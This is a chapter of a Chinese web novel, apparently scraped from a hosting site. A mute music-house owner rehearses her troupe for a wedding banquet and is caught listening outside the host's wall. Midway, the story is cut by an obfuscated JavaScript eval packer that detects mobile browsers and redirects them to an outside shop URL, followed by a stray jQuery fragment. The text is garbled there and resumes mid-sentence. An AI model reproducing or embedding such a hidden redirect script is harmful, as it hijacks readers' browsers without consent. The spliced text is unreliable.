文趣网 > 其他小说 > 携琴上高楼 > 13. 第13章 怀疑
    第二日,柳瓷与霜霜早早就来到了练室。

    “这些就是无端坏掉的琴,都是破坏得比较严重无法请师傅修复的,还有一些只是断了弦,破了笛膜的就修完继续用了。”

    桌上,地上都搁置着一些乐器,失了魂一样断的断,破的破。

    “我查了查,姑娘们大多都是抱团出现在练室里,所以!那个人定是挑大家都不在的时候下手的!”霜霜一脸认真,好像推理出了一个惊人的逻辑。

    少女眨了眨眼,凝了一眼这可爱的丫头,又上前去仔细观察每个破琴。

    她转而走向另一面墙,那边放的都是好琴。

    她停在一个靠放在墙上的古琴面前,看得出来琴的主人很爱惜它,专门为她盖上了琴套,琴套上还绣着各式各样的花纹字样。

    「这件事,有多少人知道了?」

    “坊里都知道了呀,几乎有一半姑娘的琴被破坏过,剩下的姑娘都很害怕下一个就是自己的琴……哦,坊外还不知道,我把消息控得死死的呢,呵呵呵。”

    「再有下次,直接报官吧。」

    “啊?可是报官会不会影响咱们的生意啊?”

    「对姑娘们说。」

    “这样啊,霜霜明白了。”

    几日后。

    “这几日都不曾有过破琴了,小姐你的法子真管用!”霜霜蹦跶着跟在柳瓷身后。

    「我们快些过去,姑娘们还在等我们呢。」

    练室里传来合奏的曲音,这是在排练给魏府伴宴的曲子。

    “停停停,琵琶拨弦太慢了没跟上,”霜霜又看了一眼柳瓷比的手势,接着说,“月榆你的音不准,太飘了,你可是主奏乐器啊,怎么能弹成这样。还有你们,整体都要往前推,现在有些拖拉了。”

    月榆被点名后瘪了瘪嘴,旁边弹琵琶的姑娘瞧着她的脸色小声嘀咕着,“我觉得你弹的是对的,坊主嘴巴不会说话,不会耳朵也不好了吧。”

    月榆瞟了一眼认真指导的少女,那少女脸上还带着稚嫩,眼神却又带着一些超出年纪的坚定。

    “我刚刚走神了,没细听。”

    「从头再来吧。」少女又拿起拍板,对霜霜比了个手势。

    “好了好了,大家听着坊主的拍板节奏,从头开始,再来一遍吧。”

    少女拿着拍板规律地打击着,曲子开头都没问题,只是一到古琴进入就有些违和。

    “停停停,月榆你跟雨翎换乐器吧。”霜霜看着柳瓷的意思,赶忙叫停。

    又是在这里停住,乐团的姑娘们目光都投向那两人。

    谢月榆有些不可置信,抬头看着拿着琵琶的谢雨翎。

    雨翎受宠若惊地看向柳瓷,眼神里带了些光粒。

    月榆和雨翎两人的古琴技术不相上下,在定下这首曲子后,柳瓷就在谁来弹主奏乐器这里犯了难。

    好在,她们两人是姐妹,二人决定公平竞争,由坊里的姑娘们投票。

    雨翎平日里内向话少,但勤琴,月榆则嘴巴响亮,与姑娘们都交好。

    二人比较时,月榆有几处错音,雨翎全程滴水不漏弹下全曲。

    投票结果出来,月榆比雨翎多了两票,柳瓷也尊重投票结果,就定下了主奏为月榆。

    可明日都喜宴了,月榆还总偏几分音,身为主奏乐器,音不准就会影响整个乐团,柳瓷只能临时换成雨翎。

    果不其然,古琴换成雨翎后,大家弹下来都顺了许多。

    “今日就到这里吧,月榆雨翎你们的演服记得换一下。”

    乐姬们都收拾着,霜霜又补了句。

    回到卧室,霜霜心疼地给少女换着药。

    “我说小姐,你怎么受伤了也不跟我说,要不是我看你走路不对劲,你是不是都不打算告诉我了。”

    圆脸少女坐在床沿,两手撑在两边,听到霜霜这样说,她又抬起双手比着手势。

    「其实已经好了,只是看着可怖。」

    “唉,小姐你总这样骗我。”霜霜叹了口气,手上动作没停,空气中弥漫着浓浓的草药味,那是乐坊一位姑娘家里自制的药。

    少女双眼弯弯看着霜霜的两个发髻摇来摇去,闻着药味想到了菊娘在院子里晒药材的身影,又想到连叔的马车车厢里都是这个药材味,还想到,那个充满药味的房间,那个病弱的少年……

    那个病秧子就是他吗。

    那日他放她回乐坊,她回来后担惊受怕好几日,生怕魏我得知此事。

    却发现没有一点风声,他没跟魏我说。

    他会不会不是魏我的人,或者说,他与魏我的关系不如表面那般。

    少女看了眼自己脚上的伤口,已经好了许多。

    那日他甚至满身是血地背自己下山……

    “小姐,你说,魏府干嘛不请那名头响当当的第一乐坊凤尾蝶,非要请我们一个小乐坊去伴呢。”霜霜整理了剩下的纱布,放到了一边。

    “不会有诈吧。”

    少女穿好鞋,眸光定格半响未动。

    「应该不会。」

    梦里魏府请的是凤尾蝶,她们有好几支乐团,柳瓷那时随另外一个乐团去另一户伴宴,没能目睹他的婚宴。

    那时的她与那魏我还未结缘,更别提现在了。

    况且人多眼杂的,他一个新郎官,到哪都很显眼,他应该也不会做什么。

    把曲演好了,还能提高知名度,就能接更多伴宴了。

    眼下还是乐坊更重要。

    *

    喜宴当日,众宾脸上都带着夸张的笑容,对着魏家的人说着恭维话。

    魏夫人眼尾炸开了花,举着酒杯谦虚回应着。

    一旁的魏相却是没什么兴致,自顾自地吃着菜。

    身为新郎官的魏我一身喜服,气疏朗,面上带着清风,辗转各个喜桌,滴水不漏地招呼着所有宾客。

    台上传来琵琶声,场下默契地静了下来,纷纷看向台上几位蒙面乐姬。

    月榆戴着指套,指尖快速拨动琴弦吸引着宾客注意。

    琵琶开场后,其他乐器见台下已无杂声,互相对视一眼后,纷纷盯着雨翎准备为古琴铺垫。

    雨翎抚上古琴,指尖流转,只闻一阵浓厚淡雅,低沉绵长的声色。

    一股幽深迸出,汲取着宾客的神绪,对下一个落下来的音望眼欲穿。

    弦音回笼,余音沉重得要把心里的东西震碎。

    拉二胡的几个姑娘盯着古琴,接下雨翎落下的最后

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17889096|212683||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一个音,二胡速度提快了些,把曲子的色彩往前推了推。

    不见往日的凄苦,哀婉,只觉一道破竹之势袭来。

    月榆等着气口,到合适节点时,又拨动自己手里的琵琶,弹出主旋律。

    等到曲子进入最高峰,雨翎又接过主旋律,所有乐器为它而伴。

    霜霜在台边骄傲地昂着头,好听吧,这可是我们雪柳书的作品。

    场下宾客注意力都被这紧锣密布的旋律抓住,听觉得到大满足,连魏府精心准备的佳肴此时也失去味道。

    穿着一身月白襦裙少女此刻正守在魏府墙外,仔细揪着乐团演奏的纰漏,手里的响板轻轻敲着。

    围墙太高,她看不见一丝影像,只能耳朵贴着墙,认真听着。

    认真到旁边多了两个人都不知道。

    “我说这位小姐,偷听是不好的哦。”

    身旁突然响起一个男声,给少女吓得不轻,整个人缩成一团。

    柳瓷回头,视线闯进两名男子。

    *

    吕少则数落着马车另一边的人,“这个魏我,其他事情不告诉我也就算了,连办喜也瞒着我,还有你,你这个帮凶,要不是我聪明,四处打听,恐怕就错过这一出好戏了!”

    墨蓝衣少年面色不改,仿佛已经习惯。

    “是魏我让我们别去的。”

    “不让我去,我偏去,我倒要看看他有什么见不得人的,是新娘子太丑,还是他魏我心丑。”

    两人马车停在大门口,就看见闭紧的门,耳边还传来喧闹的乐音。

    “你看看,都开宴了,我们还怎么进去。”

    少年抿了抿嘴,眼睛转了转,“翻墙。”

    两人刚走到后墙,就看到一个蓝衣少女贴着墙。

    “哎,那是不是柳坊主?”吕少则正欲翻墙,忽然一顿,看着几米远的少女背影。

    少年也抬眼望去。

    她半弓着,侧头贴着墙,面纱堪堪挂在脖上,露出白皙的秀脖,手上一板一眼打着节奏。

    已是深秋,落叶刮擦着街道,少女穿着有些单薄。

    耳际被吹出一抹红,她却无知无觉似的,一直黏在那墙边,任由风吹。

    身旁的吕少则不知何时走到了她身边,在她耳边说了句什么,她被吓得缩成了一团。

    柳瓷下意识戴上面纱转身。

    她认得他,魏我的同僚吕少则。

    余光又扫到吕少则身后的少年,她急忙低下头对两位行礼。

    怎么在这都能碰到他们。

    “免礼免礼,坊主为何不进府内,反倒在外头偷听墙角呢。”

    柳瓷有些慌乱,又有几分理直气壮,要不是说不出话,她恐怕已经说出,这话应该我问你们吧。

    她指尖一松,摊开手掌的响板,指了指墙,又指了指自己的耳朵。

    吕少则还没练就光看比划就悟懂意思的本领,两个人就这样有来有回地你比划我猜。

    “你的意思是,你听到墙里有声音,突然就变出这两块木板?”

    “哦我懂了,你用木板敲墙,墙里发出声音。”

    “又不是?”

    “我知道了!墙敲了你,你的耳朵变出了两块木板……”